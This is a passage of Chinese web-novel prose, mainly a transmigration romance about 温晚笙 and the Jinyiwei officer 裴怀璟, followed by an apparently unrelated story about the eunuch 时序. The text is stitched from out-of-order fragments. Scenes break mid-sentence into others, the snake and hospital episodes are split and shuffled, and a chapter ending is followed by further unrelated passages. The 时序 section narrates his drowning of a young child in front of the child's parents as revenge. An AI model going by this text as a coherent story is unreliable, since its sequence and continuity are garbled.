她一把弹开自己的眼泪,坐在他的腿骨上,欺身而下,把他压进床榻。 “我才不跟你分开呢!” 她双手撑在他肩膀两侧,散落的长发垂下来,跟啄木鸟似的,唇瓣不断贴着狰狞的疤啄啄啄。 每一处凸起的肉芽,每一道皱缩的纹路,都不放过,她贴着那些他最不敢让她看见的地方,标记标记再标记。 而后,她轻轻咬了一下他完好的皮肤,牙齿陷进去,留下一圈浅淡的红痕。 她埋在他胸口问:“痛不痛?” “不痛。”少年气息乱着,身子也战栗着。 温晚笙又咬了一口,凶巴巴地瞪着他,“说痛!”“好端端的,怎么骂人呢!” “就是,你又知道多少?”她这哪里是不想麻烦对方买补药送到温家,分明是觊觎着银两。今安在忍不住翻了个白眼,幸好有面具挡住脸,旁人没瞧见。 裴怀璟倒是答应了,从腰间拿出一张五百两的银票递给温晚笙。 五百两……书斋得接多少单生意才能赚到这个数?他要不再朝她射一箭?不会中的那种。温晚笙眨了眨眼,感觉自己在做梦。 温晚笙看到银票面值,心花怒放,恨不得跳起来,废老大劲才压住疯狂往上扬的嘴角。 “这太多了,怎么好意思呢。”她边说边把银票往怀里揣。 裴怀璟将温晚笙一举一动看在眼里,语气寻常:“本就是我惊扰了温七姑娘,这都是应该的。” 温晚笙笑了笑,又悄无声息地摸了摸怀里的银票,一颗心激动得热乎乎的。不知道是不是她的错觉,今天的裴怀璟更好看了。 今安在默默地离温晚笙几步远,想装作不认识她。 裴怀璟看向今安在,目光不动声色扫过他所戴的面具,停在他手中的黑铁剑:“这位是……” “他是我朋友。”温晚笙知道裴怀璟想要问些什么。 西街经过射箭的小插曲后不久又恢复如初了,百姓见自那箭后没再发生什么便没太在意,只是会绕开这些锦衣卫走罢了。 放眼看去,靠耍杂技谋生的人在街边表演,花样多得令过路百姓眼花缭乱;小贩忙碌得不行,孩童玩闹,各种声音交织成一片。 周围太吵,裴怀璟好像没听清楚:“他是温七姑娘的朋友?” 温晚笙不太想让旁人知道今安在的来历,总感觉会对他不利,毕竟她是从乱葬岗救他回来的,对他的身份一概不知,也没想过问。 她笑着道:“嗯,他是我的朋友,叫今安在。” 阳光下,裴怀璟姣好的五官惊艳,脸部线条流畅,要不是他身穿象征着锦衣卫的飞鱼服,恐怕会有不少经过此处的百姓盯着他看。 他平易近人道:“原来温七姑娘还认识江湖上的朋友。”终日行走江湖的人的穿着打扮与普通人不太一样,非常容易辨认。 “偶然间认识的。”见此,今安在缓慢地松开握住剑柄的手,看裴怀璟的眼神隐有一丝意味深长。 温晚笙还愣在原地。 蛇窜起来想咬人跟裴怀璟捏住它七寸这两件事皆发生在一瞬间,快到她只看到一抹残影,再定睛一看,蛇已经在他手上了。 她佩服裴怀璟反应力过强的同时有危机感,要怎么样才能亲到这样的人,并且能全身而退? 温晚笙目前毫无头绪。到观莲节这天,温晚笙早早从床上爬起来梳妆打扮,今日与裴馨宁有约,总不能让对方等她。 早起的后果就是不停地打哈欠,困意未尽,温晚笙闭眼坐在镜子前,一动不动,任由下人站前站后为自己搽脂抹粉、绾发。 她坐着也能睡着,脑袋蓦地往一侧倒去,被陶朱接住。 不止温晚笙没能看清裴怀璟的动作,就连那些训练有素的锦衣卫也没能看清,几乎处于状况外。 “大人,您没事吧。”他们上前几步,望向他的手,净白匀称五指正捏住泛着滑腻青色的蛇,两道截然不同的颜色相映。 温晚笙本以为裴怀璟会动手捏死这条蛇,但他没有。 舞蛇人结束表演后发现刚抓回来不久,还没拔掉毒牙的青蛇不见了,找到他们这里,见抓住蛇的人是个锦衣卫,瞬间面色惶恐。 万一伤到锦衣卫…… 他弱声:“大人,这蛇是小人的,它、它有没有伤到您?” 裴怀璟并无责怪舞蛇人的意思,将那条青蛇放进他抱着的竹篓,和颜悦色道:“没受伤。” 舞蛇人抱着竹篓像抱着个烫手芋头,忐忑道:“这蛇惊扰了大人,不如您将它打杀了?”损失一条蛇,换来他的心安,也值了。 裴怀璟:“它惊扰了我,也得到了应有的惩罚,你带走吧。” 此话听在过路人耳中,只觉他有着颗仁善之心,蛇要咬他,他仅仅是为自保捏住了它的七寸,都没伤着它,这就算得到惩罚了。 温晚笙却总感觉不太对。 今安在冷然抱剑而立,静静地看着,置身事外。 舞蛇人忙不迭地抱着竹篓跑了,害怕跑晚一步会被以用毒蛇袭击锦衣卫的罪名抓进牢里。 温晚笙没有在大街上久留,拉着今安在去找布料货源了。 裴怀璟毫无波澜地看着他们远去,转身从锦衣卫手里拿过那一支差点射中温晚笙的铁箭,指尖压过铁镞,感受其冰冷与锋利。 过了片刻,有锦衣卫过来道:“大人,厂督想见你。” 厂督是东厂的首领太监,而东厂如今与锦衣卫表面和睦,实则势如水火,互相争权,互相压制。厂督要见他,准没好事。 裴怀璟把箭折成两截,弯了眼,轻笑道:“厂督要见我?” 温晚笙佯作若无其事地挪到今安在面前,想挡住他,可她比他矮不少,又比他瘦,横竖都挡不住,反而弄得画面看起来有点滑稽。 她的小动作哪里逃得过裴怀璟的眼睛,他似被逗笑了:“我虽是锦衣卫,但也不会随随便便抓人,温七姑娘急着护他作甚。” 温晚笙矢口否认:“裴大人多心了,我只是动了一下而已。” 不远处有人舞蛇,没关牢装蛇的竹篓,一条青蛇爬了出来,离他们越来越近,由于街上人多,它又在地上爬动,并不显眼。 裴怀璟背对着蛇爬来的方向,他没怎么深究她说的话:“冒昧问一句,今公子为何戴面具?” 她抢着回答道:“他长得太丑了,怕吓到人。” 今安在掩在面具下的眼睛看着裴怀璟,硬邦邦应和一句:“吾貌奇丑,确实不堪观瞻,小儿见了恐会啼叫,常人见了也会嫌恶。” 裴怀璟没让今安在摘下面具,只道:“我见过那么多人,除了受过刑的,还从未见过小儿见了会啼哭,常人见了会嫌恶的。” 温晚笙讪笑道:“世界之大,无奇不有嘛,实属正常。” 她眼观鼻鼻观心,话锋一转:“我们还有点事,先走一步,就不打扰裴大人继续查案了。” “既然如此,温七姑娘慢走。”裴怀璟侧身给他们让路,他身后的锦衣卫也齐刷刷地让开。 便是此时,青蛇窜起来朝裴怀璟扑去,温晚笙是第一个看见的。 “有蛇!”她喊。 今安在当即欲拔剑砍断它,却见裴怀璟反应更敏捷,先一步捏住了蛇的七寸,位置分毫不差。因为蛇的头部受限,所以没法转过头来咬抓住它的那只手。 场面再度陷入沉默。 只有木桨划开水面的声音,一声,又一声,单调地重复着。 “近日民间都在传陛下的事,我娘都知道了,你们竟不知?” “什么传言你倒是说呀,卖关子的一概视为故弄玄虚!” “谁故弄玄虚了?言简意赅,陛下早在楚国之时,便做了赘婿。” “噫,谁信啊。” “就是,这话说出来,我们的小命还能保吗?” “你们又不知道了吧?我那位在御前伺候的好友告诉我啊,这是陛下自己让人传的。” 翌日,电闪雷鸣,轰隆隆,让床上依靠的两人抱得更紧。 “嗯去哪?”温晚笙嘴里含糊不清地嘟囔了一声。 身侧原本在小心抽动手臂的人,动作顿止,他调整了一下姿势,让少女的脸重新贴在自己胸膛前。 随后,他抚摸着她的后背,低声安抚,“哪也不去。” 温晚笙‘嗯’了一声,嗅着淡淡的香,渐渐昏沉起来。 可不过须臾,她突然清醒了。这里的环境具有迷惑性,导致她又忘了自己身处郦国王宫。 她用额头蹭了蹭他下巴,“你早上要上早朝吧?” “不要。” 温晚笙太阳穴跳了一下,一拍大腿,忽然顿悟,“你是上次那个给我抛媚眼的医生!” “媚眼?!”医生一脸嫌弃。 温晚笙瞥了眼他胸牌上的名字,毛茸茸地站了起来。 “嗯?” 日夜更迭,季节交替。 裴怀璟习惯了独自一人的日子,失去了对时间的感知。 花开了又谢,谢了又开;雪落了又化,化了又落。 春秋冬夏,于他而言,都是一样的冷。 究竟是过去了一月、两月、一年、两年,还是一辈子? 他唯一确定的是,分别的日子,早已远远长过了他们共度的时光。 满打满算,他们真正在一起的日子,不过寥寥几日。 今日,外头飘起了雪。他分不清是七月,还是冬月。 他独自躺在冰棺之中,目光空茫,落在棺顶。 为两人量身打造的馆,如今一侧却空着。 六月的天,热意渐渐压下来。不知不觉,温晚笙已经来到郦国半个月。 今天偶遇陆子昂,她又得知了一件说大不大,说小不小的事。 裴怀璟竟然在离开楚国后,就得了夜盲症。她第一反应当然是不信,那人后来分明常常夜里潜入温府,来去自如,哪像看不见的。 陆子昂让她少质疑他的医术,裴怀璟那行径只能是因为熟能生巧。 她想起第一天到郦国,裴怀璟打翻的那几个茶杯,默默闭了嘴。 窗外传来振翅声,鸽子落在窗台上,脚上绑着信笺。 温晚笙回过神,伸手取下。她现在乍然有点怀疑笔友在郦国,不然最近的信怎么都一天就到了。 刚读一半,门就被推开。 裴怀璟端着一碟水果,以及一碗汤走了进来。将东西放下后,他从身后圈住她,脸颊贴在她颈侧,正好压在细微跳动的血脉上,极尽缠绵。 “二小姐在看什么?” “你来啦。”温晚笙拿了颗剥好的水润荔枝,反手递到他唇边,喟叹一声,“我的笔友好像疯了。” “为何?”少年张嘴裹上她的指尖,含住荔枝。 温晚笙摇摇头,把信折上,“没什么。”乱谈别人私事总归不好。 裴怀璟慢条斯理吞下水果,笑问:“所以二小姐会偏向大房,还是二房?”他知道,先死的,定是自己。冰棺做得宽大,从来不是为了与她同眠。 他不想与她生死相依,只希望在他死后,她偶尔能躺进来陪陪他。 他曾贪心地想过,前生今生来生,他们都该在一起。 如今他不贪了,连今生他也不需要。 他只需要知道,她过得好。 偏偏她如此任性,一次梦都不肯入。 不,是他的错,可他不知该如何去改。不知该怎样,才能再度窥见她。 寒气自四壁渗出,贴着骨血蔓延,一点点将知觉冻得迟钝。 他生出了错觉。 她从未存在过。 那些美好,都是他在无尽寒寂中,臆想出来的幻影。是他太冷了,才虚构出一团不存在的火。 裴怀璟阖上眼,呼吸越来越浅。 他的神祇,何时能再降临?【】 第 115 章 正文完结 第 115 章 第 115 章 “滴滴滴——” 刺眼的白光落在眼皮上,刚睁眼的少女下意识抬手遮住光线。 “笙儿?笙儿?” 温晚笙迟钝地扯了一下酸麻的手,逐渐回过神,望向声音来源,有种恍若隔世的感觉。 “妈?” “别乱动。”温茵连忙按住女儿手背上扎着针的地方,另一只手熟练地按下了呼叫铃,“现在感觉怎么样?” “有点困…”温晚笙眨了眨发酸的眼,打量了下自己所在的地方,“妈,我怎么会在医院?” 温茵仔细观察着女儿的反应,叹声气,“是不是又熬夜画画了?” “画画?”温晚笙呆呆重复。 被他这么抱坐着,温晚笙无可避免地感觉到一股炙热。伴随着的,是无声横生的渴欲。 许是一切都坦白了,他现在衣裳半遮半掩地敞开着也一点也不担心,任由她打量。 清瘦而匀称的肌理,不虬结,不贲张,有一种引而不发的韧劲。 他甚至后仰了些,把那一截腰腹更无遮无拦地露出来,眼神却清凌凌地望着她。 沉吟许久,温晚笙指尖贴上他腰侧,咽了咽口水,“裴怀璟,我真的饿了。” “二小姐想吃什么?” “吃、你。” 只不过说完,温晚笙就面露可惜之色,瞪了勾引自己的人一眼,“不行啊,没有避孕药。” “我有。”裴怀璟的语气平静得很。 “真的假的?”温晚笙一时无言,“你不带治伤的药,带这个做什么?” 少年坦然答:“侍候二小姐。” 如果温晚笙是个传统古人,说不定会顺温三爷意,可她不是。 她没错! 一旦让步,温三爷定会收回她的铺子,温晚笙哪能看见自己的心血打水漂,所以决计不让步。尽管不知道自己得癌身死后为何会穿进来,但也相当于重来一世,自然要早作打算。 钱是一个好东西,她要揣兜里,越多越好。温晚笙一想到银钱,眼里就放光,小财迷的模样。 无论身处哪个朝代,钱就是女子的底气。她揉了揉血液不流通的膝盖,垫着跪垫也跪得不舒服:“不必劝我,我心中有数。” 丫鬟不好再劝。 此时外面传来吵闹声:“她自小体弱,你舍得这样对她?万一出点意外……你心里没我就算了,她可是你嫡亲的女儿。” 人未到,声先至。 母亲大人的声音,温晚笙当然是熟悉得很,悄悄地探头往外瞄了一眼,跟只狡猾的猫似的。 由于角度问题,她没看见什么,怕被外面的人发现,回头继续跪着,只听温三爷厉声呵斥道:“丢人现眼。你给我回去。” 她母亲不依不饶:“我看这日子过不下去了。” 不知为何,他们声音有一瞬间忽然低了下去,不久后有个仆妇走进来扶起温晚笙:“七姑娘,三爷说今天免了你的罚,快起来。” 温晚笙不明所以,父亲会轻易放过她?不太可能,定有猫腻。 仆妇站在一旁解释道:“裴三姑娘有急事找您,夫人喊您赶紧过去,莫要怠慢了人家。” 她“嗯”了声。必须当面跟他表白? 当面跟裴怀璟表白……那以后如何能妥善脱身? 可妥善脱身与被系统抹杀相比,还是后者更严重,前者她还可以想旁的办法解决,再坏也坏不过被抹杀。温晚笙权衡利弊。 房间的笑声骤停,她头顶乌云密布,满脸怨气,从床上爬起来。陶朱看着温晚笙一愣,刚刚不还是很开心?怎么突然愁眉苦脸了? 温晚笙一不高兴就喜欢关上门摸自己辛辛苦苦攒起来的金银。 陶朱习以为常,还贴心地举起金子给她摸个遍:“七姑娘还有其他烦心事?”经此一闹,温三爷短时间内不会再找温晚笙的麻烦。 她思绪还没梳理好,抽回摸金子的手,没正面回应陶朱的问题,只道:“我要偷溜出府。” 温晚笙猛地跳跃到出府,陶朱一时没跟上来:“您要出府?” “对。”她弯腰穿鞋。 陶朱不赞同:“您如今称病,如果让三爷发现外出,又少不得一顿责罚,这不是自讨苦吃?不是什么急事,可以过几天再办。” 温晚笙打开衣柜,拿出一套衣裳,对着镜子稍作打扮伪装,做事有自己一套歪理:“不让他发现不就行了,不会有事的。” 自知拗不过温晚笙,陶朱无奈叹气,能做的只有为她遮掩了。 陶朱不放心道:“七姑娘,您可千万要在入夜前回来,听说近日有乱党闯入城中,宵禁更严了,一旦被抓住,非同小可。” 她的生意是一年前搞起来的,从那时候开始,温晚笙频繁出府,据说是要亲自处理商场上的事,叫陶朱留守府中,不要想那么多。 “你还不放心我,又不是第一次偷溜出府了,有分寸的。” 温晚笙见陶朱闷闷不乐,捏了把她脸,暂时抛却肩负任务的烦恼,笑嘻嘻逗她笑:“别担心,我肯定平安归来,还给你带油糕。” 陶朱撇嘴:“奴不要什么油糕,奴只要您早点回来。” “知道了。”温晚笙推门出去,她熟知温家宅院的布局,想绕开下人出府是轻而易举的事。 晌午时分,骄阳似火,皇城内的长街依然车水马龙,不减半分热闹,换上朴素棉麻衣裙,仅编了条长辫子的温晚笙穿梭在人群中。 开在棋盘街中间的麟记布庄人头攒动,生意火热,伙计忙得晕头转向。温晚笙路过往里看一眼,被任务打击到的心好受不少。 麟记布庄是她开的,也是被温三爷发现的生意。 不过麟记布庄不是温晚笙唯一的生意,旁的生意才是她的主要收入来源,那家店铺开在棋盘街不起眼的边角处,售卖书籍。 原来是裴馨宁来了,难怪温三爷会松口,他既担心家丑外扬,又想借温晚笙和她的关系讨好京中地位显赫的裴家,打一手好算盘。 温晚笙觉得温三爷才是做生意的一把手,当官实属可惜。 幼时她误打误撞救过裴馨宁,从此以后,这姑娘就缠上她了,当她是好友一样,隔三差五来找她,知无不言,言无不尽。 裴馨宁被父母保护得很好,没多少心计,对人赤忱。 而原著里的温晚笙是女配,因为自身的成长环境,内心极自卑、虚荣,满腹算计,从小就妒忌被人捧在掌心里宠爱的女主裴馨宁。 她的角色设定跟其他恶毒女配差不多,明面与裴馨宁交好,背地里不择手裴给对方使绊子。 最后温晚笙见裴馨宁心系男主,想尽一切办法拆散他们。 原因是她恰好暗恋男主。 不过这些都是原著里的角色设定和剧情,跟现在的温晚笙没关系,她对男主没任何感觉,也没妒忌裴馨宁,只想赚自己的小银钱。 男人哪有钱香呢,男人会背叛你,钱永远不会。 温晚笙回房换一套衣裳再去见裴馨宁,在祠堂跪的时间虽不长,香烛味却沾满了身子,对闻不惯这种味道的人来说多少有点呛鼻。 下人利落地为温晚笙洗漱一番,伺候她穿上新衣。 她摊开手任下人动作,看着镜子。镜中人双髻乌黑,斜簪银钗,皮肤润白,美人尖明显,五官精致,眉心花钿端丽,唇色淡红。 “我都让你别瞎吃了,你不会又傻傻地每天都吃吧?”温晚笙一脸怀疑和担心,“会吃出毛病的。” “没有,二小姐放心。”起初想她时他会吃,可后来为了不丧失讨她欢喜的功效,便停了。温茵神色凝重,眉间拧出浅浅的褶,“我中午去喊你的时候,平板都还亮着,你不记得了?” 温晚笙低头看向自己手背上渗出来的血珠,疑心自己真的傻了,竟然一点疼都感觉不到。 “妈,我不会画画画猝死了吧?”为什么她记得,她睡前正在看小说。 “这不是活了吗?”温茵心有余悸地摸了摸女儿冰凉的脸,又捏了捏,“你福大命大。” 温晚笙张了张嘴,还想问些什么,医生就来了。 男医生生着一张娃娃脸,眉眼间挂着打工人特有的怨气。他利落地把她手背上的针重新插好,又做了一系列检查,全程没什么多余的表情。 “真是命大。”医生意味深长地看了温晚笙一眼,见她没反应,才转而跟旁边的温茵交代注意事项。 而温晚笙耳朵嗡嗡的,左耳进右耳出。 “再观察一天,就能出院了。”医生扬了扬眉。 “谢…”温晚笙回过神清了清嗓子,却卡壳了。 因为这位看起来奇奇怪怪的医生,趁着温茵低头查看单子的间隙,冲着她轻轻挤了下眼。 倒是不油腻也不令人反感,她还有点说不上来的熟悉感。 她几乎从没听他喊过自己全名,此刻听来,竟然有种说不出的羞耻。 “谁是你的妻了”温晚笙捏住他的脸颊,趁他还没躲开,往他嘴里塞了一颗陈年老糖。 她凑近,左嗅嗅右闻闻,忍不住嘀咕:“也没喝酒啊,人都不认识了?” 甜意在口腔中弥漫开来,裴怀璟的呼吸逐渐乱了节奏。 “难道你看不清?”温晚笙疑惑地在他面前晃了晃,“近视了?” 少年循着风声,猛地捉住那只晃来晃去的手,轻轻地在她手心蹭了一蹭。几乎是在一瞬间,身体泛起不陌生的战栗。 “干嘛?”温晚笙甩开,冷冷一哼。 “二小姐”裴怀璟声音微颤,依旧不敢置信,“二小姐” “你来了,当真是你” 温晚笙没好气地堵住耳朵,隔绝那些呻吟。 少年眼眶热意翻涌,泪水像断了线的珠子,一颗接一颗,“二小姐…” 过了会儿,望着那张湿漉漉的脸,温晚笙的手不知不觉垂了下来,“你现在又认识我了?”不像装的。 “对不起。”裴怀璟酸涩胀满胸腔,声音哽咽,“我以为是幻象” “快二十日了,二小姐” 复合不过一日,又要承受离别之苦,每一刻都在煎熬里翻来覆去,他当真快死了。她当时命他不得在楚国留下任何眼线,他便真的一个都没有留,后悔不已。 他想去找她,可她答应会来。他须得信任她,否则他前脚刚走,她就来了,他又该如何解释。 温晚笙盯着地上被月光照亮的碎片,神情有些复杂,“你经常出现幻觉么?” 温晚笙是被冻醒的。 映入眼帘的,是一片刺目冰冷的白,带着微微反光。 不是天花板,好像是棺材板?? 温晚笙打了个寒战,下意识一蹬腿,脑袋结结实实撞到冰棺。声音闷闷地回荡开,但她跟铁人似的,一点都不疼。 她用力伸手一推,棺盖应声而开。打了个哆嗦,她坐起身,从棺中翻了出来,拍了拍冰凉的脸,只花了两秒就接受自己在做梦的事实。 可惜的是每次梦到这些古代画面,醒来后她就几乎什么都不记得。 眼前,是一座极为恢宏的地下墓穴。 穹顶高阔嵌着白玉,如星河倒悬,周遭点满了好看的灯,琳琅满目。其中最多的,是长在她审美点上的兔子灯。 接下来的几天,上京连绵下起了雨。 直到这日又出了太阳,紧闭的房门才被推开。 秋香惊奇道:“小姐这是要出门?” 温晚笙伸了个懒腰,“出门逛逛。” 她这段时间一直闷在屋子里,几乎不见人影。那些信写了又撕,撕了又写,始终没有一个令她满意的版本。 不过这个计划,她还挺满意的。 她准备给所有相识的人,都写一封离别信。 虽然系统说这具身体会死,但她也就吐吐血,没有其他感受。 她并不想当着这么多人的面死,让自己痛苦,别人也难受,而且她对原身会不会回来,始终心存几分怀疑。 既然如此,与其到时候打大家一个措手不及,不如暂且只让一个人知道。 万一有机会‘复活’呢? 这样想着,她先是去了百草堂,看着因为药膳日益增长的生意,颇感欣慰。跟掌柜交代了几句话,涨了些工钱,她转而去了凝香阁。 这一去,倒让她凑到了个热闹。 铺子门口,一群人正将一名男子围在中间踹得东倒西歪,不时传来几声叫好的喝彩。 踹人者大多都是凝香阁的伙计,女男都有。 温晚笙心中疑惑,扫了一圈,发现一个熟悉的身影。 她走近,好奇地弯下身,“依依,这是谁啊?” 王依依耸拉着眼,瞧着又开心又伤心的,“姐姐,这是我爹。” “你爹?”温晚笙瞪大眼。 王依依点头,有条不紊地将事情经过说了出来。原来,这厮不仅有了外遇,还想将她们母女二人的钱财尽数卷走,再将她们送回乡下。要不是掌柜及时发现,这会儿她们恐怕已经离开上京了。 了解事情始末后,温晚笙顿时撸起袖子,也上去狠狠踹了许多脚。 这一踹可不得了,那人哀嚎着露出大半张脸来。 竟然是王洛白。 直到他被官府的人拖走,温晚笙又从王依依口中得知,自从那天有个漂亮姐姐过来旁敲侧击王洛白的事,她就起了疑心。无奈她娘亲不信,她只能自己暗中查探。 温晚笙惊叹于这孩子的能力,将她送回家,安慰了秀娘好一会儿。而后,她忙不迭去跟温若彤说这大快人心的事。 温若彤最近开了一家成衣铺,正忙得焦头烂额,听得此言,心情大好,干起活来更加起劲。 祖母与母亲不再逼她成婚,她现在也是擦亮了眼,再不会轻易被骗。 聊着聊着,谢衡之的同僚李大仁忽然出现,缠着温若彤问东问西。温晚笙插不上什么话,只得去找谢令仪玩。 却不料谢令仪也正发愁,因为她过两日要去女子学堂试课,试着做一回先生。 温晚笙当即自告奋勇充当学生,陪好友推演讲课的内容,这一忙,不知不觉到了傍晚。 出府时,竟然迎面撞上了许久未见的谢衡之。 两人只是点头打了声招呼,没有寒暄,一切宛若平常。回头一看,刚才她躺的大型冰棺还在,通体如玉,寒气缭绕。 整座墓穴,冷与暖交织,生与死并存。 温晚笙逛了半圈,停在长长的壁龛前,那里悬着两件殷红的婚服,瘆人又美丽。 不等她细瞧,一阵脚步声自远处传来。 慌乱之下,她掀开婚服,躲进狭小的空间里。 周遭暗了下来,不过恐惧很快被浓郁的梅花香安抚下来。 脚步声突然停了。温晚笙等了一会儿,就准备掀开一角一探究竟。 似有心电感应一般,面前红色的布料,被人从外侧挑开。 光线倾斜而入,那一瞬,温晚笙的一颗心乱七八糟地跳了起来,像关了一窝受惊的兔子。 裴怀璟得寸进尺地问:“我能接上,二小姐往后可否不要同旁人唱了?” “唉,行。”温晚笙又败了,“不过别乱吃朋友的醋,整天想着情情爱爱的。你这样看起来傻傻的,你知道吗?” “好。”裴怀璟乖顺地点了点头,笑容干净得像雨后的天空。 温晚笙被迷花了眼,揉了揉他没戴任何耳饰的耳垂,“不过我不是天天说爱你吗,你耳朵都要听得起茧子了吧。” 裴怀璟吐息在她耳边卷起热潮,混着一点鼻音,“都是我说。” 温晚笙歪了歪头。好像确实没有任务在身,她就很少主动说了,但他们也才复合没多久啊。 少年的唇还带着被疼爱过后的糜艳,她只能凑到他脸颊边,叭唧一下,“我爱你!” 裴怀璟耳根在一瞬之间泛红,声音柔中带喘,“我也爱你。” 温晚笙心软软地望着他,在没有目的之下谈感情,原来是这样的感觉。她弯了弯眼,“还有什么奇怪的醋,统统说出来。” 少年上一瞬还想着,不论她的爱分给几人,他都愿意。可此刻,对着她清亮的眸子,他还是忍不住开口了,“二小姐当真会偏心大房?” 温晚笙一时没反应过来,“什么意思?” “在二小姐心中,我与他”裴怀璟沉沉凝着她的眼,话音打了个转,“谁更好看?” 温晚笙沉思,“这个‘他’又是谁?” “二小姐的夫婿。” “夫婿?” 裴怀璟抿唇,不再贪心,轻声说:“我知道了。” “等等。”温晚笙脑子转了转,“你不会真不知道我没成亲吧。” “什么?” “我没成亲,没有夫婿啊。” 眼前的少年逆光而立,面容轮廓飘渺,肤色过分苍白,几近病态。 他看起来很年轻。可那一头墨发之间,却夹杂着几缕白,冷冽且不显衰败,宛若点缀。 还好他穿了黑袍,如果换作白袍,她大约真要以为自己撞了鬼。 只能说好看得过分了,很适合给她的作业当模特,不穿衣服的那种。 两道目光撞黏在了一起。 从那双昳丽的桃花眼里,她望见弯弯清泉,也望见几点星光。但最多的,是粼粼委屈与灼烫的欢喜。 “二小姐。” 沙哑至极的三个字令温晚笙微微一怔。她竟从中听出几许哽咽。 少年伸出微微颤抖的手指,像是想要触碰她的脸。末了,指节蜷起,又收了回去。 温晚笙指尖掐着他脸颊上薄薄的肉,有点无奈,“你真的太大只了。” 他手臂圈着她的腰,腿缠着她的腿,整个人牢牢贴着她。这么大一个人,偏偏要学小猫小狗往她怀里钻。 裴怀璟的幸福感悄无声息地散去了一点,他清楚地察觉到,少女想将他推开。 她更喜欢小的,更喜欢前几日与她圆房的,更喜欢 他忽然从柔软中抬头,将自己缩得更小一些,唇瓣方才贴上她的颈脖。 他轻轻地吮,又轻轻地放,吻出了块隐秘的红痕,绽放在她白皙的颈间。 温晚笙当然不知道他在想什么,只摸了摸他的脑袋,“好痒。” 裴怀璟眼底暗沉沉的东西翻涌了一下,发觉少女喜欢,便贴在上头一直舔舐,直到它变得更深更艳。 他心里涌起占有的欢喜。好像,只有他才在她身上留下过这样的痕迹。 温晚笙忽然回神,眸色还未散尽,“唉,别种那什么草莓,会出事的。” “草莓?”少年从她颈间抬首,唇上还沾着湿润的水光。 “嗯,脖子不能乱吸。” “疼吗?”裴怀璟嗓音发紧,指腹轻轻蹭过那块皮肤,试图擦去。 温晚笙眨眨眼,“那倒没有。”也就比之前他诱惑她的时候用力了一点,不痛只痒。 裴怀璟却没有放松下来,眉心蹙着,“可还有哪里不适?” 温晚笙的眼神飘了一下。他没穿上衣,锁骨处那一片不止有印子,还有浅浅牙印,全是他鼓励她干的。 “没事。”她脸上突然浮起薄薄热意,清了清嗓子,“我们以后别这样就行了。” 以后。 饱满滚烫的情绪瞬间盈满胸膛,裴怀璟从少女怀里出来,将她拥入怀中,下巴抵在她的发顶。 “好,以后不这样了。”温晚笙迟疑片刻,方问:“帅哥,你是不是认错人了呀?” 心上人的声音落进耳朵里,少年心旌摇曳,像枯木逢了第一场春雨,像荒芜多年的旷野,一夜之间疯长出绿意与鲜花。 他几乎要失态。 “你好?”温晚笙歪了歪脑袋,语带探究,“我们认识吗?” 少年翻涌而起的雀跃,骤然回落。 他盯着她的眼睛,依旧清澈漂亮,却只盛着陌生与茫然。 可他知道,她回来了。 因为那些漫长到没有尽头的等待里,无论他如何哀求,她都从未入过他的梦。 “二小姐。”少年顿了一瞬,声音放软了些,“不认得我了?” 温晚笙坦然地摇了摇头,可不清楚为什么,心跳始终无法平复。 少年看她许久,唇角弯起一个温柔的弧度。 “我叫裴怀璟,是你的夫君。”【】 【全文完结】 第 116 章 第 116 章 等反应过来,温晚笙已经被少年牵着手离开墓穴,穿过几道回廊,来到一间陌生的屋子,然后迷迷糊糊地被他安置在床上看话本,等他做饭。 此刻,她看看满桌色香俱全的佳肴,又瞥瞥坐在她对面的鳏夫,拿起筷子,陷入沉思。 这场梦,怎么连剧情和人设都一应俱全? 通过刚才穿着太监服饰的人的反应来看,这个古怪又俊美的少年竟然是皇帝。而她,好像被当成了他亡妻的替身。 裴怀璟的目光就没从她身上移开过,渐渐出了神。 听见李叔的话,乔青生立即转身,文质彬彬地对着缓步入内的蓝袍男子作了一揖:“时老板。” 温晚笙也随之转身,在见到那高大俊朗的人时愕了一瞬。 先前听见乔青生说“时老板”她并未过多在意,没想到竟真的是时将离,这书肆竟也归他所有。 时将离见到少女愣神,唇边添了一抹笑意,却丝毫没有诧异,温声道:“又见面了。” 温晚笙不禁笑靥浅生。时序扯了扯嘴角,面上仿佛含了笑,偏生眼中的神色越发寒人。 他抬手挥退左右侍从,纡尊降贵走到温晚笙跟前,沉吟片刻:“唔——你可知上一个找我认亲的,下场如何了?” 那大概是两三年前的事情了。 彼时先帝病危,他所扶持的三皇子成为帝位最佳人选,而他作为三皇子最信重之人,在京中已隐有大权在握之势。 当初害他入宫的林家人不知从哪儿找来一个男童,信誓旦旦说这是他的亲儿子,流落在外几年,好不容易被他们寻回来,只求看在孩子的份上,双方恩仇相抵,时序能高抬贵手,放他们一马。 为说明男童身份的真实性,他们还拿出一枚玉佩,玉佩的成色极是一般,整体泛黄,内里更是有许多杂质,是好多街上小摊最常见的配饰,论价值最多超不出一两去。 时序一眼认出,那是他与妻子的定情之物。 只是对方话语中有着诸多漏洞,时序收回玉佩,又将男童抱回府中,一面悉心抚养着,一面派人寻着线索找过去。 自他入京赶考出事后,那已是他第三次打探妻子和家人的消息,他与妻子成婚五年,家有爹娘兄妹,尚未有子嗣。 当年他被陷害后,动手的人还找去他家乡,将他所有家眷一并残害,其中自然也包括他的妻子。 林家人跟他说:“当年的事是我们做得不对,你的家人遇害虽然与我们也有干系,但到底不是我们动的手,都是底下人自作主张,如今我把他们带过来交由你处置,冤有头债有主,只望你莫要伤害了无辜人。” “还有这孩子,也是我们几经辗转才找到的,原是你的妻子当年怀了身孕,回娘家省亲时逃过一劫,只可惜生产时难产,只留下这个孩子。” 时序为对方的虚伪感到可笑,暂时的引而不发,也叫他得知真相后彻底失控。 打探消息的人回来说,并没有什么妻子逃过一劫的说法,不光是他的家人惨死,就连他的岳家也受了牵连,一夜之间从村子里消失。 至于他们抱来的男童,实际是林家的嫡幼子,因自小体弱,一直小心养在深宅,除却家里还没有见过外人。 如今正好以假乱真,装作是时序的孩子,待他将孩子抚养长大,林家也修养过来,再里应外合,予他致命一击。 新仇旧恨加在一起,时序杀红了眼。 与他起争执又让他遭了宫刑的罪魁祸首被千刀万剐,林家众人也因各种罪名先后入狱,凡与时家惨案有关联的,皆由他亲手处死。 最后是那个被时序抱回家养了两月的男童,他将孩子抱回他爹娘身边,当着他们的面,生生将其溺死。 望着那双抱着孩子痛哭的父母,时序笑着笑着落了泪。 他声音悲怆:“若非尔等,我的孩子也该如他一般大了,凭什么你们能享受儿女环绕,而我再无儿孙满堂机会?” 从最卑贱的洒扫太监到大权在握,时序只用了短短三年。 